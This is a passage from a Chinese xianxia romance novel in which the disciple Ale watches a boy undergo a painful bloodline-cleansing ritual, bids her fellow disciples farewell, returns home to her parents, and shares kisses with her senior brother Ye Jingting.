阿乐点点头,心中某个地方的种子破土而出,长出一株小绿芽。
看着她笑盈盈的模样,眼眸化开了一些,柔声道:“明早我来接你。”
“好。那我回去了——”阿乐蹦蹦跳跳走了。
叶敬亭站在原地看着她直到消失在小路尽头。
次日。
阿乐一早便起床了,她端坐在铜镜前左右看着自己的发型,总觉得缺少点什么。
“要不要擦一点胭脂?”
“不行,这个颜色不太适合。”
左右端看了下发型,太素了些,要不要加点点缀?
翻找了一遍,只找到一支珠花,“好吧,就它了——”
“好了吗?”收到叶敬亭发来的密信。
阿乐一看天色,已过了约好的时辰,忙回道:“来了,来了。”
整理了下衣裳,便跑了出去。
远远的便看到叶敬亭一身白衣负手而立,挺拔的身影被阳光勾勒出一圈金边,仿佛一位仙人降世。
“师兄,我来了——”阿乐轻跳到叶敬亭身旁。
“嗯”叶敬亭点点头,轻瞟了一眼阿乐头顶的珠花,嘴角微微扬起。
两人一路说说笑笑,主要是阿乐自己说再自己笑,叶敬亭负责点头。
很快,白小布安顿的地方便到了。
这是一个小别院。
还没进院门,便听到白小布严厉的声音:“这是基础功,这都练不好,怎么保护好自己。”
然后便听到哭声传出来。
“再哭就加练五十遍。”哭声又立马便停止了。
两人跨进院子,才看到原来是白小布在教那两个小孩练功。只见两个小孩单脚站立,两只手一手一个铁锤。
小孩表情有趣极了,撇着嘴角眼泪鼻涕流了一脸,也不敢发出声音。
白小布一身黑衣,拿着一根黑棍站在前面,表情严肃。
明明自己也是个孩子,这样子还挺有模有样。
“白小布——”阿乐喊道。
闻言白小布回眸,惊喜道:“阿乐——”
丢掉黑棍,向阿乐跑了几步,又看到叶敬亭,毕恭毕敬道:“敬亭师兄。”
阿乐看着眼前收拾干净的男孩,又惊又喜,“你们都没事吧!”
“嗯嗯,多亏了敬亭师兄和叶鹤师兄,大家现在伤都好得差不多了。”白小布上下打量着两人,看到他们都无大碍,开心道。
屋子里的人听到声音都跑了出来,不一会,两人便被团团围住。
“大宝、小宝,别练了,快来感谢恩人。”一名女子把刚在练功的小孩喊过来。
“两位的大恩大德,我们没齿难忘。”
说罢,众人便要下跪,阿乐连忙道:“不用,不用,快起——”
“白小布,你快让他们起来!”
白小布站在一旁没有阻拦,他知道那日要不是阿乐和白敬亭相救,他们早就被炼化了,这叩首没什么不妥。
跪拜感谢完,人群才散开。
三人坐在院子里喝茶。
“你们之后做何打算?”阿乐问道。
白小布望向叶敬亭道:“敬亭师兄答应我们,帮我们洗去异族血脉,这样体内没有‘浮生烬’,便不会被抓了。”
“洗去?怎么洗去”阿乐惊讶道,她第一次听说“血脉”还可以洗去。
一直坐在一旁的叶敬亭开口道:“化神池。进入池子淬炼,只要不死,便可以洗去除神族之外的血脉。”
35. 化神池
“化神池?洗去血脉?”阿乐双眼瞪圆,疑惑道:“你们都有神族血脉?”
“只有我有。”白小布道。
“你?”阿乐眼睛瞪得更圆,神族是五大族里最遵守天规的人,居然——
算了,阿乐扶额:“阿娘不也这样——”
白小布挠挠头继续道:“我阿爹是神族,阿娘是人族。但——我从小便没见过父亲。”
“可是洗去人族血脉,你母亲怎么办?”阿乐道。
“他们在三年前为了保护我被妖魔族杀了。他们最希望的就是我平安度过这一世,若是洗去血脉成了神族,那也算是完成他们的心愿。”白小布如是道。
阿乐看着眼前男孩比自己要年幼几岁,心智到是比自己成熟许多。
“那他们呢?”阿乐道,那些没有神族血脉的混血者呢?便只能担心着体内“浮生烬”爆发,或者被这些妖魔族抓去炼化吗?
“我会保护他们。”白小布挺起胸膛,坚定的回道。
阿乐伸手掐了掐他的脸,“小朋友说什么大话!”
“我——叶平安说到做到!”白小布伸出三只手指并拢指着天认真说道。
“哦——原来你叫叶平安!哈哈”阿乐指着他道,“平安—你要好好长大哦—平安!”
叶平安脸红道:“我会努力长大变强的!”
“哈哈哈哈哈,师兄你看他,人不大,倒是学着大人说话!”阿乐站在叶敬亭身后拉着他衣袖笑道。
“我才没有,我说的话句句属实!”叶平安小脸憋得通红,神色严肃说道。
“哈哈哈,那你叫我一声阿姐听听——”阿乐一时兴起,逗他道。
“——”
叶平安咬着嘴唇不说话,抱着手气呼呼的嘟着嘴。
叶敬亭安静坐着,看着两人吵闹,轻轻扬起嘴角。
吵闹了一会,阿乐坐下接过叶敬亭递过来的一大杯茶一仰而尽。
“好啦,平安!不逗你了——你也喝口水吧!”说罢递过茶杯去。
平安用衣袖擦了擦嘴角,放下茶杯道:“敬亭师兄,我们什么时候可以去化神池?”
叶敬亭抬眸看着叶平安,“你想好了吗?”
叶平安握紧拳头认真点点头,“嗯,我想好了,一定要好好修炼。”
阿乐拍拍叶敬亭肩膀,凑近道:“师兄,这个人族血脉是怎么洗净的呢?”
叶敬亭明白她想问什么,转头望向她道:“也会因此丧命。”
果然,一个人的血脉流在体内,丝丝入体又怎么可能洗的干净,那可不是得把这个人剥掉几层皮才可以。
阿乐眼眶微红,呵——混血者因爱而生,却又因“浮生烬”被世间所弃。
叶平安也知道这个后果,但比起那些东躲西藏的日子,比起因保护自己而丧命的父母,这洗血脉之痛又算得了什么呢?
若不是遇到阿乐,那现在的自己也不过是那大黑锅里的一具残骸罢了。
阿乐看着眼前的少年,不知该说些什么,拍了拍他肩膀道:“我陪你一起。”
叶平安点点头。
回去的路上,阿乐一直低着头没说话。
叶敬亭明白她在想什么,伸出手,又顿了顿,只是拉住她衣袖。
阿乐感到有人拉住自己,停下脚步,还没有从“化神池”中抽离出来,双眼有些茫然,看着叶敬亭道:“师兄,怎么了?”
看着这幅摸样,叶敬亭轻声道:“你是你,他们是他们。你不会因‘浮生烬’爆发,原神俱灭的。更不会被妖魔族抓去炼丹。”
阿乐讶异,他怎么知道自己在想什么。
“真的吗?”
“真的。”叶敬亭把她手握在掌心里,看着她眼眸认真道。
“师兄——混血者就不配得到幸福吗?”阿乐道。
叶敬亭感觉浑身一颤,手不自觉握紧,他心里早就有了答案,只是还不知能不能行,他怕回答了又失望,比起这样,不如不回答。
“没事,师兄,我知道的。”阿乐笑了笑,拍了拍叶敬亭手,倒像是在安慰他。
看着阿乐回去的背影,叶敬亭半晌才转身离开。
很快,便到了叶平安去化神池的日子。
阿乐与叶敬亭站在小院门口等着叶平安,大宝小宝知道他要去干嘛,一直哭着抱他大腿不撒手,现在平安正在劝说。
阿乐站在门口听着院子里的嚷嚷声,神色紧张。
叶敬亭上前拍拍她肩,轻声道:“不会有事的。”
“可是——若是他挺不过——”阿乐道。
“放心,有我在。”叶敬亭。
有叶敬亭在阿乐自然不会特别担心,只是——这件事说到底关键还是在于平安自己。
终于,院子里安静了。
大宝小宝哭累了便睡了过去,其他混血者站在门口站得整齐,没有告别、也没有人说话,就这样站在那,目送三人离去。
这一路,走得极慢,阿乐一直在顾左右而言他,想要劝他要不要再想想。
“其实——也不必那么着急的,要不你再修养修养?”
“有时候不是非要做出一个选择才可以的。”
“我去求求师尊,让你们留在清灵山打杂什么的——”
“——”
“阿乐!我怕知道自己在做什么,知道自己想要什么!你——不要再耽误我时间!”叶平安认真道。
说罢便绕过阿乐往前冲去。
“喂——平安,你真的真的真的不再犹豫一下吗?真的会没命的呀!”阿乐声音越来越小,叶平安早跑得没影了。
“师兄,你也不劝劝他!”阿乐看着叶敬亭道。
叶敬亭一如既往淡漠的表情,嘴角轻轻扯了一下道:“走吧。”
化神池。
与阿乐想象的阴郁严肃气氛不同,这里居然仙气缭绕,清泉叮咚,化神池四周还停着几只仙鹤,在池边闲庭踱步,看上去一副悠然自得的模样。
在叶敬亭的指引下,叶平安褪去衣裳已坐入池中。
阿乐看着他瘦小的身躯上有好几条蜿蜒丑陋的疤痕,大概是为了逃命留下的吧!
“好吧,既来之则安之。”阿乐安慰自己道,既然没办法劝阻,不如就尊重好了。
找了块干净舒适的地方盘腿坐下,合上双眼屏气凝神。气息盘旋在化神池上,随时关注着叶平安的一举一动。
一炷香的时间已过去。
叶平安安然无恙。
再过了半柱香时间,池子里传出细微呻吟声,看来有反应了。
好在有叶敬亭在旁陪伴指点,声音很快便没有了。
再过了半柱香时间,一声惊叫划破空中,是叶平安。
他在池中抽搐着身体,声音痛苦异常,阿乐想上前帮忙被叶敬亭拦住,“这是他自己道,要自己走,旁人帮不上忙。”
“可——”阿乐想说可是怕他自己撑不过去,却又想到自己确实也帮不上什么忙,语言这个时候显得毫无意义。
叶平安渐渐压抑不住自己体内的东西,发出近乎野兽般的吼叫,阿乐听着这声音,想要帮忙又不知能做什么,只能在来回
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踱步。
叶敬亭一直守在叶平安身旁,教他一些口诀。刚开始叶平安还能跟着引导调息,再过半柱香,已然完全听不见叶敬亭的声音,在水池里四处打滚,一直在水池边上来回试探。
“出来了便前功尽弃。”叶敬亭道。
叶平安立马转头往里走了几步,每一步都走得都艰难无比。
“啊——”嘶吼声在空中一直回荡,叶平安全身经脉都仿佛被岩浆灼烧,密密麻麻的血管从薄如白纸的皮肤下凸出来,红彤彤交织成一片。
阿乐噙着眼泪看着池子里痛苦万分的男孩,心里一直在祈祷:“一定要挺过去,一定要挺过去。”
水池里水花四溅,叶平安在里面止不住翻滚,想要用池水来减轻身体痛感。
一直到深夜,池子里终于安静下来。
借着月光,阿乐在池子里四处查看,却没有看到那个瘦弱的身影。
“师兄,平安呢?”阿乐着急的发出密信,隔了很久都未收到回复。
阿乐慌了,围着化神池寻了一圈,确实未见到两人。
“师兄——你快说话,平安呢?”
半晌,叶敬亭才回话,“放心,无事。”
阿乐激动得几乎喊出来:“太好了——”
“你先回去,我去安顿好他,你在不方便。”叶敬亭发来密信。
阿乐使劲点头,边往住所走,一路上开心的哼起歌。
“嗯?回话。”又收到叶敬亭密信。
“我已经回去了师兄,明早去看他可以吗?”
“嗯。”
这一夜阿乐睡得极其安稳,心中的所有石头都落地了,叶敬亭在,叶平安也在,住在院子里的那群混血儿也在。
天还未亮,阿乐便早早起床往小院跑去。
院子门口已经有人在清扫落叶,看到阿乐开心不已,引着往叶平安房间去。
“平安!”迫不及待的推开门。映入眼帘的是一具全身被绷带缠住的“身体”,正面平躺在床上。
阿乐呆了一瞬,有些语无伦次:“他——不是挺过来了吗?”
身旁的混血儿急忙解释道:“平安没事,只是身体被灼伤,是敬亭师兄帮他涂得药绑的绷带,他没事的。”
阿乐嘘了一口气,她还以为——
许是听到了阿乐的声音,叶平安艰难得哼唧了一声。
僵硬的四肢动了动,却又发出几声呻吟。
“你别动,好好躺着,人没事就好。”想起昨晚看到他在化神池里的样子,眼角又湿润了,吸了吸鼻涕道:“你没事就好——”
叶平安抬起手想要安慰几句,又被伤扯得生疼,又呻吟了几声。
屋子里啜涕声、呻吟声一片,不知道的还以为是出了什么事。
“小阿乐,你这是在看望病人,还是在奔丧呢?”叶鹤的声音从门口传来。
阿乐回头,看到叶鹤、叶敬亭、叶展云从门外鱼贯而入,擦了擦眼泪笑道:“看到他挺过来了,就很开心嘛。”
“开心就笑呀,哭算怎么回事!”叶鹤敲了一记脑门,阿乐吃痛捂住头看着她傻笑。
“叶鹤,你可别把小师妹打傻了吧!她本来脑子也——”
“你才不好使呢!哼——”
“敬亭,你评评理,我们可啥也没说!”
“好好好,不闹了不闹了,人家平安还躺着呢!疼疼疼——”
“师兄,你看他们——”
院子里伙房炊烟袅袅,几人嘻嘻哈哈的声音飘出来。一切都好,每个人都平安,这就足够了不是吗?
36. 不舍
看着叶平安绷带一日比一日少,阿乐要走的日子也越来越近了。
阿乐倒是忙碌起来。
除去每日要做的功课,便是忙着去找叶平安。
后来逃课了几次被叶敬亭亲自抓着去藏书阁亲自“教学”。
藏书阁。
“师兄,我过两日就要走了,这个这两天也学不会呀!不如我们去后山玩吧。”阿乐杵着下巴眼巴巴看着叶敬亭。
“不行。走了我也会每日监督。”叶敬亭淡淡然。
“啊——走了还要继续修炼?”阿乐惊道。
“嗯,这个可以压制‘浮生烬’。”叶敬亭道。
阿乐嘴角颤抖了一下,“好吧,好吧——”没精打采回道,重新盘腿坐好。
跟着叶敬亭又练了几个口诀。
“师兄,有个事情很奇怪——”阿乐道。
叶敬亭望向她。
“都说‘浮生烬’能量巨大又不受控制,随时会爆发。可为什么在魔窟洞里的那些妖魔都不怕混血儿体内的‘浮生烬’爆发呢?”阿乐认真道,这个问题困扰她很久了。
叶敬亭没有回话,看着阿乐,示意她继续。
“而且也没听他们说过他们会因为‘浮生烬’暴毙而亡,甚至只是想着压抑住能躲过妖魔族的人苟且活下去。”阿乐道。
叶敬亭点点头,思忖片刻开口道:“你说的没错,我也在想。”
“那你有想到原因吗?”阿乐贴近叶敬亭睁着求知的大眼,眨巴眨巴。
叶敬亭看着忽然靠近的阿乐,他再稍稍往前便能碰到她的鼻尖。
喉结滚动,他身体往后仰,手指拽紧衣袖,摇了摇头。
阿乐有些失望的退回去,眉间轻蹙,自言自语道:“到底是为什么呢?”
叶敬亭轻轻吐出一口气,重新端坐好。
“阿乐。”叶敬亭轻轻唤道。
“师兄,怎么了?”阿乐道。
叶敬亭侧过身望着她眼眸认真道:“上次教你的,还有这次教你的,回去都好好练习,好不好?”
阿乐有些疑惑,她第一次听见叶敬亭用商量甚至有些“请求”的态度说话,以往他说出的话都是已经想好、或者已经做好决定,非常肯定的语气。这次怎么有些不一样呢。
阿乐点点头,“好,师兄。”
叶敬亭嘴角轻轻上扬,眉眼带笑,整个人都散发着光。就这一瞬,阿乐看得有些呆住,“可惜了,要我不是混血儿就好了。呸呸呸,说些什么话,阿爹阿娘也是世间难得的神仙眷侣,要怪就怪谁定的天规!!!”
叶敬亭看着阿乐脸上一会晴一会雨的,关心道:“阿乐,怎么了?”
阿乐使劲摆手,“没事,没事,师兄。回去我会好好修炼的!”
这两日在清灵山,总能看到龙知乐身旁有一个修长挺拔的白影形影不离,要不是大家都知道叶敬亭性子冷淡,他们俩的“话本”早就传遍清灵山了。
阿乐收到叶绾棠的消息,让她收拾好行李,明日便来接她下山。
阿乐开心的手舞足蹈,她可想阿娘阿爹了,终于可以回家了。
这天几人偷偷下山,说要给阿乐好好“送行”。
来到上次喝酒的地方,还是那个熟悉的店小二,安排了一间厢房,按照几位的吩咐酒菜很快便备齐了。
大家轮流举杯说着一些道别的话,阿乐很快便醉了。
“小师妹,你之后可要经常来清灵山看看我们,不然我们多无聊啊!”叶鹤道。
“对啊,还有密信这次可不要再断了,我们要一直保持联系——”叶展云也有些晕乎乎。
“好好好,师兄们,阿乐再敬几位一杯。”说罢举起手中的鸡腿啃了一口。
叶之远坐在一旁举起酒杯一杯接着一杯,红着脸看着阿乐不说话。
只有叶敬亭在安静吃饭,毕竟清灵山不许饮酒,也不许私自下山,他已经犯了一条。本来这次送行,叶鹤也没打算约他,没想到他还是一块来了。
酒过三旬,亥时快到了,几人已在回清灵山的路上。
只有阿乐走着斜线几次差点掉进路边田里。
叶敬亭只好寸步不离的跟紧她,以免在临走前又出现什么意外。
叶之远磨磨蹭蹭跟在两人身后,最后深吸一口气,拉过阿乐,他手里拿着一封信,红着脸递给她,支支吾吾道:“回去再看。那个——阿乐,我们保持密信沟通。”便冲冲忙忙先跑走了。
“哟——有事情!”
叶鹤、叶展云迅速围拢过来。
“这一看就是情书。”叶展云道。
“你怎么知道,万一是什么秘密呢?”叶鹤看着叶敬亭眨眨眼。
“哈哈——肯定是情书,这个我熟。”叶展云拍了拍叶敬亭肩膀,而后两人似说好一般,吵吵闹闹便往前走去。
现在只剩下阿乐与叶敬亭了。
阿乐拿着信封在眼前自己看来看去,眯着眼似乎想要透过信封看到信里到底是什么。
“打开看看就知道了。”叶敬亭声音从头顶传来。虽是很正常的一句话,阿乐却感觉有阴风从头顶吹来。
“哦哦,对对。”说罢撕开信封,展开信仔细看了起来。
看着看着信上的字又叠在一起,揉了几次眼都还反复停留在第一句话。
“师兄,你读给我听。”阿乐递过信,脑袋还是有些晕乎乎的。
叶敬亭接过信揉作一团捏在手里,便往前走去。
“师兄,师兄——你还没说信上说什么呢?”阿乐踉踉跄跄追去。
“没什么,让你以后不要联系他了。”叶敬亭冷冰冰道。
“不对,他明明说让我们保持密信联系,你给我自己看!”阿乐伸手扒拉着叶敬亭。
叶敬亭眼眸暗了下来,一把抱紧阿乐,让她不再动弹。
“师兄,你弄疼我了,我喘不过气了。”阿乐仰起头醉眼朦胧看着眼前人,只感觉他怎么脸色又变成冰块了。
须臾间,阿乐觉得嘴唇一片柔软,还未等自己反应,口腔内已有什么东西闯入,不由分说的吸吮着自己。
酒瞬间醒了一半,这松木的清香,是叶敬亭。
想要推开发现自己牢牢被抱紧,声音被堵在喉间发不出。
对方来势汹汹,恨不得把自己吃了进去。
阿乐只觉得小腿肚有些软,快要滑倒下去,却感觉到叶敬亭手滑到腰间轻轻把自己托起。
“怎么办,怎么办?”阿乐脑子里一片浆糊,身体却很诚实的抱紧了叶敬亭。
似乎得到了回应,叶敬亭顿了一下,终于舍得把唇瓣分开,喘着粗气看着阿乐。
阿乐满脸通红,才意识到自己刚刚做了什么。
自己是真的疯了吧,反正今天是喝酒已经醉了,既然已经醉了那便醉到底吧。
她双手捧着叶敬亭的脸,踮
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起脚尖仰起头轻啄了下他红肿的嘴唇。
叶敬亭眼眸瞬间化做一滩泉水,双手有些颤抖,不可置信的看着阿乐。
阿乐轻笑了一下,学着叶敬亭刚才的样子,啄起他的下唇瓣含在嘴里轻轻吸吮。
见叶敬亭还是一动不动,舌尖试探着伸入对方笨拙的探索着。
叶敬亭双眼闪动,缓缓闭上眼。
双手托起阿乐的后背,往自己靠了靠,温柔的回应着。
月明星稀,两人不知吻了多久,才依依不舍分开。
阿乐觉得脚好酸,有些站不稳,晃了一下,须臾间便被一双大手捞起。
叶敬亭横抱着阿乐,神情淡然,阿乐恍惚了一瞬,刚才那个热烈的人是他吗?怎么又变成冰块脸了。
“师兄,那个刚才我醉了。”阿乐小声道。
叶敬亭眼看着前方,并未回话。
“不好意思,上次还跟你说那些话,今天又——你别往心里去,我们就当刚刚什么都没发生过。”阿乐继续道。
上次还推开叶敬亭,一本正经的说着天规,今天自己却——
叶敬亭停下脚步,阿乐感觉有一团阴影笼罩在眼前。
“就当——什么都没发生过?”叶敬亭沉着脸看着阿乐。
阿乐咬了咬嘴唇,轻声道:“可是——可是我是混——”
“我愿意。”叶敬亭斩钉截铁道,毅然决然的表情看着阿乐。
阿乐陷在叶敬亭眼眸中,想起阿爹与阿娘,他们不也没有被天规束缚吗?可是,万一有一天自己因为“浮生烬”伤害到他怎么办?
“可是——可是我会连累你的。”阿乐道。
叶敬亭轻叹了一口气,声音柔软不少:“你回去好好修炼这几日我教你的口诀。”
看着叶敬亭如此坚定的模样,回想着在清灵山这段时间两人发生的点点滴滴,阿乐心想:“自还有什么理由退缩呢?不试一试怎么知道不行?”
双手自然环上叶敬亭脖颈,叶敬亭低头两人相视一笑,把阿乐往自己胸前拢了拢。
次日,阿乐早早便收拾好自己,去找叶丽、叶茜道别。
又跑去小院找叶平安。
叶平安只有右手还缠着绷带,此时正坐在院子里使唤着大宝小宝给自己捏肩捶腿。
“叶平安,你就这样欺负小朋友。”阿乐一步跨进院子,对着叶平安道,
叶平安慌忙站起,使唤大宝小宝去添茶倒水。
“你什么时候走?”叶平安道。
“一会就走了。”阿乐道。
“以后我们还能再见吗?”叶平安道。
“肯定会的呀——”阿乐拍拍他肩膀。“那你以后怎么打算?”
“敬亭师兄给了我一些书,我在这里养伤再跟着学习一段时日。”叶平安道。
“那他们呢?”阿乐指指屋里,大宝小宝探出头来对着她打招呼。
“我会找到地方把他们安顿好。”阿乐似乎又看到那晚,也是在这个院子里,叶平安手指天发誓会变强,双眼也是这样熠熠生彩。
“放心我会经常回来看你们的,你要好好修炼哦!”阿乐笑着道。
“你也是。”
“嗯嗯”
叶鹤传来密信:“阿乐,流云灵尊已到了。”
“我先走了,下次再见!”阿乐说罢便飞身走了。
远远听到叶平安的声音:“下次再见!”
37. 酒酿丸子
阿乐才踏进大殿便看到叶绾棠一袭红衣似血站在那殿内与叶修一说着话,叶子清、叶鹤、叶展云依次端正站在两旁。
奇怪,怎么没有叶敬亭?
“阿乐——”叶绾棠轻唤道。
“阿娘——”三步并做两步,最后干脆跑了起来。
“啊哟,怎么还是急急燥燥,慢点,别摔了。”话音刚落便被阿乐一把抱住。
“好了,好了,又不是小孩子,大家都看着呢。”叶绾棠轻抚着阿乐后背,柔声道。
叶修一清了清嗓子,言语间充满严肃:“阿乐,回去也要抓紧修炼啊。”
阿乐这才放开叶绾棠,毕恭毕敬道:“知道了,师尊。”
“师兄,这段时间麻烦了,下次再来看你啦——”叶绾棠拉过阿乐一起向叶修一道谢,与几位师兄寒暄了几句,两道红影便飞身下山了。
宛东城。
回到家,龙临羽早做好一桌饭菜等着娘俩。
“阿爹!!!!”只见一道红影从外面飞入。
“阿乐——小心——你阿爹手还没痊愈——”叶绾棠话音未落,阿乐眨眼间便趴在龙临羽背后。
闻言,阿乐连忙跳下,关心道:“阿爹,你没事吧?”
“无碍,无碍,就是一点小伤,养几日便好了。”龙临羽摆摆手,拉过阿乐上下打量了几番,“阿乐在清灵山有没有交到朋友?”
叶敬亭、叶子清、叶鹤、叶展云、叶之远脸庞从脑海中划过,
龙临羽又唤了几声:“阿乐?阿乐?”
“阿爹,你不知道,在清灵山遇到好多好玩的事情!还有那几个师兄,可厉害了,特别是敬亭师兄,他年纪轻轻修为可高了——”阿乐手舞足蹈说着去妖市遇到夜郎、去浮空岛遇到的灵蝶、后山看到的仙鹿——
阿乐看着阿爹阿娘,说着说着眼眶微红,这样的场景不知道在梦里出现过多少次了——
“阿乐,尝尝这个!阿爹做的麻辣红烧牛肉。清灵山吃不到那么好吃的菜吧!”叶绾棠给阿乐夹菜,清灵山食物一向清淡。
“阿娘,赵大厨做的酒酿丸子加上桂花蜜可好吃了!”阿乐满口塞满肉,开心道。
“怎么还是那么贪嘴!”龙临羽递过一杯水,“慢点”。
“阿乐——”阿乐突然收到叶敬亭密信。
收到密信,阿乐怔了一下。今天在大殿也没有见到叶敬亭,当时见到阿娘太开心了,忘了这事。
连忙放下碗,“阿娘,我出去一下,你们先吃。”
“快点啊——红烧肉凉了不好吃了。”
去到院子里,“师兄,你怎么了,今天都没见到你。”阿乐道。
“——临时有事,你怎么样?”叶敬亭道。
“见到阿爹阿娘了,还吃到了阿爹做的红烧肉,你不知道这菜阿爹做的有多好吃!以后有机会,你一定要尝一尝。”阿乐道。
“嗯——那就好,记得练功。”叶敬亭道。
“好,师兄——”阿乐道。
怎么觉得叶敬亭怪怪的,就算是去处理事情,也不该只派他一人吧。还是有些不放心,找叶鹤打探下。
“鹤师兄——”阿乐才发出密信便收到回复:“阿乐,别怪鹤师兄,敬亭什么性子你也知道,他一个字都不许我说。”
果然有事瞒着她。
阿乐皱着眉坐回饭桌前,说话有一句没一句的搭着,还在想着到底是瞒着她什么。
“阿乐,怎么了?”叶绾棠道。
“看上去怎么心事重重?”龙临羽觉得阿乐从清灵山回来后,是有些变化。
阿乐摇摇头,半晌才开口问道:“阿娘,以后我还可以去清灵山吗?”
叶绾棠与龙临羽相视一眼,眼底皆浮起笑意,问道:“阿乐,跟阿娘说,你看上哪个师兄了?敬亭?还是鹤儿?”
听到叶敬亭的名字,阿乐脸颊染上一片红霞,娇嗔道:“阿娘——不要胡说!”
龙临羽清清嗓,眼角漾开细碎的笑纹道:“所以是敬亭?还是鹤儿?我记得不是还有一个叫展云的吗?”
阿乐顿时连脖颈都漫上红霞,“阿爹,你也取笑我!”说罢,捏起拳头玩闹着捶了几下。
小屋里很久没有那么热闹过了,烛火在墙上印出影子随风摇曳,也随着一起笑了。
夜已深。
阿乐坐在床榻上环视了房间一圈,熟悉的一切又都回来了。
却总觉得少了点什么。
好像一切都没变,又好像一切都变了。
阿乐躺在被褥上,掀起一角盖住肚子,闭上眼,又想起叶鹤的密信:“敬亭什么性子你也知道,他一个字都不许我说。”
到底是什么事需要瞒着她?
辗转反侧,耳边老是有叶敬亭沉重的呼吸声,还有那片柔软的嘴唇。
阿乐猛然坐起,踱步到窗边,把支木往外伸出一截,风送来一阵凉爽,脑子终于安静了下来。
“师兄?你睡了吗?”想了想阿乐还是发出密信。
半晌没有回复,“这个点,大概是睡了吧!”阿乐自言自语。
明日再说吧,吹了会风,又重新躺回床上,酝酿了一会,睡意终于袭来。
“嗯?”叶敬亭发来密信。
阿乐又翻身坐起,瞬间睡意全无:“你到底怎么了?”
“无事。”叶敬亭道。
“那鹤师兄怎么吞吞吐吐?”阿乐道。
“无须担心。今天修炼了吗?”叶敬亭道。
“我——没有。”阿乐想起今天只顾着开心了,修炼什么的全抛到脑后了。
“全然只顾着跟阿爹阿娘说话了。”阿乐又回了一句。
“嗯,那早点休息。”叶敬亭道。
还能回密信,而且他也说没事,那就应该不是什么大事吧,阿乐想着想着迷迷糊糊睡了过去。
在清灵山养成的卯时起习惯,让叶绾棠挺惊喜,不似之前那么爱赖床了。
起床后便自觉去修炼,这也让龙临羽刮目相看,之前还得哄骗着她修炼。
两人看着阿乐修炼的有模有样。
“绾儿,看来咱们女儿是有一些不一样了。”龙临羽满眼笑意,叶绾棠与他心意相通,明白他说的是阿乐经历了那么许多事确实成长了不少,比之前懂事了许多。
“她若真与清灵山生出了羁绊——”叶绾棠忧心道。
“那也是他们自己的选择。”龙临羽道,眼底一片温柔,轻轻拦过叶绾棠。
叶绾棠靠在他怀里,牵起他手,“只望阿乐可以平安快乐。”
“会的。”龙临羽低头轻啄了下她额头。
这一转眼已过了一个月。
每日叶敬亭都会准时询问阿乐修炼如何,阿乐每次都会说一堆她觉得很有趣的事。
叶敬亭只是安静的听着,也不知道他是开心还只是一张冰块脸。
“师兄——”阿乐站在街口看着人来人往的市集,她想起之前与师兄们一起偷偷下山的日子。
“嗯?”叶敬亭回道。
“这市集上有一家酒酿摊子,阿娘说比赵大厨做的味道好,我却觉得还是总是少了点什么。你要不要也来尝尝?”这句话阿乐思前想后,半天没说出那句话。
“尝尝?”叶敬亭还是波澜不惊的语气。
“我——我想你了。”
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终于鼓足了勇气,把这句话发出去了。
半晌,也不见有回信。
难道是自己说的太直白了?也是,他一向不喜欢说这些。罢了,那怎么办,索性说是发错密信了吧。
“那个——刚才那句话我发错人了,哈哈”阿乐急忙又发了一则密信。
几乎是阿乐才发出,叶敬亭便回道:“你想要发给谁?”
“难道是发给我吗?小阿乐!哈哈哈哈”叶鹤道。
“小师妹真看不出来啊——哈哈”叶展云道。
“——阿乐,你要发给谁?”叶之远道。
等等,等等,他们为什么能看到那句话,难道——难道,又发错地方了?
阿乐扶额,她都能想象到他们现在应该在叶敬亭面前笑得直不起腰。
罢了,罢了——反正也不是第一次了。
吃过晚饭,漫天彩霞铺满天空,阿乐看着这美景心里盘算着去后山看视野最好。
叶绾棠嘱咐几句早点回来便与龙临羽忙着别的事去了。
后山有一个千年参天大树,树干盘根复杂,有很多藤蔓缠绵在上面。坐在上面视野极好。
阿乐轻点脚尖,一个转身便稳稳坐在树上。
云层朵朵像被扯开的棉絮,流淌出金灿灿的光芒。霞光中浮动着水晶般的鳞状波纹,好似有透明巨鲲游过天际,鳞片折射出迷离的幻彩。
阿乐看着这万般霞彩,眼前又浮现出叶敬亭的脸,还有那永远波澜不惊的眼眸。
“阿乐——”正在想着,叶敬亭便传来密信。
“师兄,我在看晚霞,你那边能看到吗?今天晚霞比浮空岛的还要好看!”阿乐道。
半晌,没有收到回信,难道又发错地方了?
晚霞最后一道光也沉入山下,天空开始暗下来,阿乐轻轻一跃从树上跳下。
忽然觉察到腰间被人一把抱住,眨眼间,便落入一个怀抱。
未等阿乐反应过来,熟悉的气息在耳边响起:“哪家的酒酿丸子比赵大厨做的还要好吃?”
是叶敬亭!
在空中转过一圈,两人稳稳落地。
“师兄!”阿乐惊喜喊道。
他——他怎么会出现在这里,阿乐抱着眼前男子,流畅的下颚线,挺拔俊俏的鼻子,眼角藏着笑,就这样出现在眼前。
阿乐仰起脸,不可置信道:“师兄——你怎么来了?”
叶敬亭满眼宠溺,一只手托住阿乐腰,一只手轻轻按着她脖颈往自己送来。
口齿间的松木清香,舌尖缠绕在一起,叶敬亭用力吸吮着,阿乐快要喘不过气,话语到了喉间变成低低呻吟,惹得叶敬亭缠绕得更深。
阿乐已站不住脚,叶敬亭双手托起她盘坐在自己腰间。
这次比上次有经验,时间也久了些。
阿乐舔舔红肿的唇,心想一会回去怎么交待。
叶敬亭猜想到她在想什么,下巴轻轻摩擦她头顶低声道:“我陪你一同回去。”
阿乐惊喜抬眸看着他,“你是怎么下山的?”
“妖魔族那边动乱,师尊让我们去探查下情况。”叶敬亭道。
“那其他师兄呢?”这等大事,不能只有叶敬亭一人吧。
“他们明天下山。”叶敬亭淡淡道。
“所以——你是偷偷跑下山?”阿乐道。
叶敬亭捏了捏她脸,轻笑道:“师尊让我来给流云灵尊送东西。”
“给阿娘送东西?”阿乐诧异道,“什么东西?”
叶敬亭摇摇头:“上面有师尊封印,我也不知。”
阿乐心中冒出疑问,想着一会直接问阿娘便好。
38. 回去
院子里灯火通明,龙临羽提着一桶土倒在院子里。
不远处,叶绾棠拿着一个小铁锹在院子里挖了一排小洞,一二三连成一排。
阿乐和叶敬亭站在院门口看着两人忙忙碌碌,并未注意到他们。
“阿娘——”阿乐对着院里喊了一声。
叶绾棠头也没抬,随手指了一下墙角。
“阿乐,帮阿娘把籽放进这洞里。”
那里放着几个精致的小盒子,盒身上画着几串葡萄。
“阿——”阿乐“娘”字还未说出口,叶敬亭已挽起白色长袖,从盒子里拿出一小包种子,顺着地上已经挖好的小洞依次撒入。
阿乐跟在旁边顺着把小洞填好土。两人配合默契,半柱香的时间便把坑都填完了。
“敬亭?”叶绾棠这才发现阿乐身旁多了一名白衣少年。
叶敬亭擦了擦手掌毕恭毕敬道:“灵尊。”
